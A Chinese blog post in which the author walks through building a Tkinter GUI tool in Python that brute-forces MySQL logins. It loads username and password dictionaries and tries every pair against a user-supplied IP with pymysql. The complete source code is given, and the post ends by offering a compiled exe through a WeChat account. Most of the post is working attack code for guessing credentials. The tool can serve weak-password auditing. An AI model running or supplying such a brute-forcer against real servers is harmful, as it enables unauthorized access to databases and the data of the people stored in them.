python弱口令扫描工具-初始版

MySQL

本篇博客记录下基于python写的gui小工具,也是我学python以来自己动手写的第一款交互型的工具

  
 Tkinter:Tkinter 模块(Tk 接口)是 Python 的标准 Tk GUI 工具包的接口 .Tk 和 Tkinter可以在大多数的 Unix 平台下使用,同样可以应用在 Windows 和 Macintosh 系统里。Tk8.0的后续版本可以实现本地窗口风格,并良好地运行在绝大多数平台中。

本次用到的主要是tkinter模块
引用如下

  
from tkinter import *  
from tkinter.filedialog import *  
from tkinter import simpledialog  
import tkinter  
import os,shutil  
import  pymysql

接下来定义各个功能函数如下
1.字典的导入和保存:打开文件对话框保存字典(.txt文件)
代码如下

  
filepath=tkinter.filedialog.askopenfilename() # 打开文件对话框   
fname.set(filepath)   
file=shutil.copy(filepath,r'C:\test') # 复制文件到指定路径

2.遍历字典
代码如下

  
username_list = 'C:/test/username.txt'  
 password_list = 'C:/test/password.txt'  
 splitChar = '\t' # 设置过滤字符串  
 splitChar1 = '\n'  
 with open(username_list, 'r') as f: # 获取字典中的数据,转换为list  
 datalist = f.readlines()  
  
 with open(password_list, 'r') as p:  
 passwordlist = p.readlines()

3.mysql爆破模块,数据处理和爆破
引入pymysql,执行循环遍历字典,替换空格并执行爆破
代码如下:

  
 for username1 in datalist:  
 username=username1.replace(splitChar,'').replace(splitChar1,'') #数据处理,替换掉取出的\t和\n字符  
 for passwd in passwordlist:  
 password=passwd.replace(splitChar,'').replace(splitChar1,'')  
 try: #开始爆破  
 db=pymysql.connect(host,username,password)  
 success=True  
 if success:  
 print("用户名:" + username +" 密码:" + password + "破解成功")  
 p="破解完成!用户名:" + username +" 密码:" + password  
 outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解成功"+"\n")  
 except:  
 print("用户名:" + username +" 密码:" + password + "破解失败")  
 outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解失败"+"\n")  
 pass  
 outprint.insert(END,p)

4.定义布局,button按钮和输出区域
button如下:

  
button=Button(root,text='用户名',fg='blue',bg='Aquamarine',command=Putfile_username).place(x=300,y=45) #创建按钮并绑定属性  
button1=Button(root,text='密 码',fg='blue',bg='Aquamarine',command=Putfile_password).place(x=500,y=45)  
button2=Button(root,text='执 行',fg='blue',bg='Aquamarine',command=Msqlattrack).place(x=700,y=45)

5.IP我目前之写了一个手动输入的,逻辑上是实时取回用户输入的内容,并赋值为host
代码如下:

  
label=Label(root,text='IP:',fg='blue',bg='Aquamarine').place(x=50,y=50)  
e_lable=Entry(root,textvariable=ipVar).place(x=72,y=50) #定义输入IP并取回输入值

6.执行结果回显
利用outprint.insert(END,p)来回显,我也是第一次用。。。。
代码如下:

  
outprint=Text(root)  
outprint.pack(side=BOTTOM,expand=YES) #定义打印区域

其余的就是基础代码,布局大小和方向,还有title,禁止拉伸什么的这些基本的代码
最终代码如下:

  
from tkinter import *  
from tkinter.filedialog import *  
from tkinter import simpledialog  
import tkinter  
import os,shutil  
import pymysql  
  
root = Tk()  
root.configure(bg='Aquamarine') # 创建一个Tkinter.Tk()实例  
root.geometry("800x500") # 设置主窗口大小  
root.resizable(0, 0) #禁止拉伸  
root.title("刺心 弱口令工具-MYSQL初始版 其余功能待开发")  
  
def Putfile_username(): # 定义字典  
 fname = tkinter.StringVar()  
 if os.path.exists('C:/test/username.txt'): # 判断指定路径是否存在文件,如果有,则删除  
 os.remove('C:/test/username.txt')  
 else:  
 pass  
 filepath=tkinter.filedialog.askopenfilename() # 打开文件对话框  
 fname.set(filepath)  
 file=shutil.copy(filepath,r'C:\test') # 复制文件到指定路径  
 tip="用户名加载完毕!路径:"+file+"\n"  
 os.rename(file,"C:/test/username.txt") # 重命名文件名  
 outprint.insert(END,tip)  
def Putfile_password():  
 if os.path.exists('C:/test/password.txt'):  
 os.remove('C:/test/password.txt')  
 else:  
 pass  
 fpass = tkinter.StringVar()  
 passpath = tkinter.filedialog.askopenfilename()  
 fpass.set(passpath)  
 passfile = shutil.copy(passpath, r'C:\test')  
 tip = "密码加载完毕!路径:" + passfile + "\n"  
 os.rename(passfile, "C:/test/password.txt")  
 outprint.insert(END, tip)  
  
  
#def input_ip():  
 #r=simpledialog.askstring('', '请输入IP:', initialvalue='')  
 #return r  
  
  
def Msqlattrack(): # 定义爆破模块  
 username_list = 'C:/test/username.txt'  
 password_list = 'C:/test/password.txt'  
 splitChar = '\t' # 设置过滤字符串  
 splitChar1 = '\n'  
 with open(username_list, 'r') as f: # 获取字典中的数据,转换为list  
 datalist = f.readlines()  
  
 with open(password_list, 'r') as p:  
 passwordlist = p.readlines()  
  
 host = ipVar.get() # 取回输入的IP值  
 for username1 in datalist:  
 username=username1.replace(splitChar,'').replace(splitChar1,'') #数据处理,替换掉取出的\t和\n字符  
 for passwd in passwordlist:  
 password=passwd.replace(splitChar,'').replace(splitChar1,'')  
 try: #开始爆破  
 db=pymysql.connect(host,username,password)  
 success=True  
 if success:  
 print("用户名:" + username +" 密码:" + password + "破解成功")  
 p="破解完成!用户名:" + username +" 密码:" + password  
 outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解成功"+"\n")  
 except:  
 print("用户名:" + username +" 密码:" + password + "破解失败")  
 outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解失败"+"\n")  
 pass  
 outprint.insert(END,p)  
ipVar=tkinter.StringVar()  
button=Button(root,text='用户名',fg='blue',bg='Aquamarine',command=Putfile_username).place(x=300,y=45) #创建按钮并绑定属性  
button1=Button(root,text='密 码',fg='blue',bg='Aquamarine',command=Putfile_password).place(x=500,y=45)  
button2=Button(root,text='执 行',fg='blue',bg='Aquamarine',command=Msqlattrack).place(x=700,y=45)  
label=Label(root,text='IP:',fg='blue',bg='Aquamarine').place(x=50,y=50)  
e_lable=Entry(root,textvariable=ipVar).place(x=72,y=50) #定义输入IP并取回输入值  
text_mysql=Label(root,text='MYSQL',font=('楷体',15),bg='Aquamarine').place(x=380,y=7)  
outprint=Text(root)  
outprint.pack(side=BOTTOM,expand=YES) #定义打印区域  
root.mainloop(

编译成exe文件可以运行,也可以在终端里执行
代码还是有很大的瑕疵的。。。
附上我本地测试的截图

picture.image

公众号回复“mysql爆破”获取exe工具

picture.image

0
0
0
0
关于作者
关于作者

文章

0

获赞

0

收藏

0

相关资源
字节跳动 NoSQL 的实践与探索
随着 NoSQL 的蓬勃发展越来越多的数据存储在了 NoSQL 系统中,并且 NoSQL 和 RDBMS 的界限越来越模糊,各种不同的专用 NoSQL 系统不停涌现,各具特色,形态不一。本次主要分享字节跳动内部和火山引擎 NoSQL 的实践,希望能够给大家一定的启发。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论